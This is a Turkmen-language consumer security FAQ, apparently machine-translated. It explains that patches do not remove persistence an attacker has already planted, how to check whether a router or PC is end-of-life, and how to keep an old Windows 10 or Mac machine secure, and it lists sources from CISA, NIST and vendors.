No.ok. Programma üpjünçiliginiň howpsuzlyk patchy diňe esasy kod gowşaklygyny bejerýär, şonuň üçin geljekdäki ekspluatasiýa synanyşyklary şowsuz bolýar; patchdan ozal gowşaklygy ulanyp, yzygiderli web gabygyny, açyk ikili, meýilleşdirilen meseläni ýa-da gödek administrator hasabyny oturdan hüjümçini kowmaýar, ýa-da eýýäm ogurlan sessiýa gutapjyklaryny ýa-da parollaryny ýatyrmaýar. Eger tassyklanmadyk nol günlük tebigatda işjeň ulanylýan bolsa, enjamyňyz köpçülige açyk internete (marşrutizator, NAS, VPN enjamy ýa-da jemgyýetçilik serweri) gönüden-göni täsir eden bolsa, ylalaşyk görkezijileri (IoCs) üçin ulgam ýazgylaryny barlamaly, ähli parollary we SSH / API açarlaryny aýlamaly we rugsatsyz giriş bar bolsa arassa zawody täzeden gurmaly ýa-da OS täzeden gurmaly.

Wi-Fi marşrutizatorymyň ýa-da kompýuterimiň ahyrky durmuşyna (EoL) ýetendigini nädip barlap bilerin?

Routeriňiziň aşagyndaky öndüriji belligine serediň (v1, v2 ýa-da v4 ýaly takyk Model belgisini we enjam wersiýasyna üns beriň) we öndürijiniň ömrüniň ahyrky / Hyzmatyň ahyrky önümleriniň sanawy web sahypasyny barlaň (ASUS, Netgear, TP-Link, Linksys, D-Link, Synology, QNAP programma üpjünçiligi, operasiýa ulgamlary, jemleýji maglumatlar bazasy, operasiýa ulgamy. Mundan başga-da, marşrutizatoryňyzyň programma üpjünçiligini täzeleme ekranyna giriň: iň soňky bar bolan programma üpjünçiliginiň senesi 18 aýdan 24 aýa çenli bolsa, marşrutizatory de-fakto ömrüniň ahyry hasaplaň we ýerine çalyşyň ýa-da OpenWrt programma üpjünçiligini goldaň.

Täze kompýuter satyn almazdan, “Windows 10 PC” ýa-da köne “Mac” -y howpsuz edip bilerinmi?

Hawa. Microsoft Windows wersiýasy üçin mugt sarp edijiniň howpsuzlyk goldawyny bes edeninde ýa-da Apple köne Intel ýa-da irki Mac modelini macOS täzelenmelerinden çykaranda, fiziki kompýuter enjamlary gowy bolýar; diňe operasiýa ulgamy “End-Life”. Microsoft-yň resmi giňeldilen howpsuzlyk täzelenmeleri (ESU) programmasyna Windows 10 kompýuterini ýazyp bilersiňiz, ýa-da faýllaryňyzy ätiýaçlandyryp, Linux Mint, Ubuntu LTS, Fedora ýa-da Google ChromeOS Flex ýaly häzirki zaman noutbukyňyzy nol günlük ýadro we brauzer howpsuzlygy täzelenmelerini berýän USB fleş diskiniň üsti bilen döwrebap, işjeň ýasalan, mugt Linux operasiýa ulgamyny gurup bilersiňiz.

Çeşmeler barlandy

  • Kiberhowpsuzlyk we infrastruktura howpsuzlyk gullugy (CISA, Amerikanyň Birleşen Ştatlary): * Belli ulanylýan gowşak ýerler (KEV) Katalog, Baglaýjy amaly görkezme BOD 22-01 (Belli ulanylýan gowşak goralanlyklaryň ep-esli töwekgelçiligini azaltmak) we BOD 23-02 (Internet bilen dolandyrylýan interfeýslerden töwekgelçiligi azaltmak) *.
  • Federal Derňew Býurosy (FBI), Milli howpsuzlyk gullugy (NSA), We Angliýanyň Milli kiberhowpsuzlyk merkezi (NCSC): * Botnetiň ömrüniň ahyrynda ulanylmagyny azaltmak boýunça bilelikdäki kiberhowpsuzlyk maslahaty (EoL) SOHO marşrutizatorlary, diwar diwarlary we VPN enjamlary *.
  • Milli standartlar we tehnologiýa instituty (NIST, Amerikanyň Birleşen Ştatlary): * SP 800-40 Ylham 4, Kärhananyň patch dolandyryşyny meýilleşdirmek boýunça gollanma: Tehnologiýa üçin öňüni alyş hyzmaty *.
  • “Apple Platform Security & Citizen Lab” (Toronto uniwersiteti): * iOS / macOS “Lockdown Mode” arhitekturasy we çalt howpsuzlyga garşy jogap “Içaly programma üpjünçiligini azaltmak boýunça görkezmeler”.
  • Microsoft Howpsuzlyk Jogap Merkezi (MSRC): * Microsoft Defender Attack Surface Reduction (ASR) Nol günlük mitigasiýa we zolakdan daşgary ýerleşdirme salgylanmasy (OOB) Howpsuzlygy täzelemek boýunça görkezme *.

Degişli gollanmalar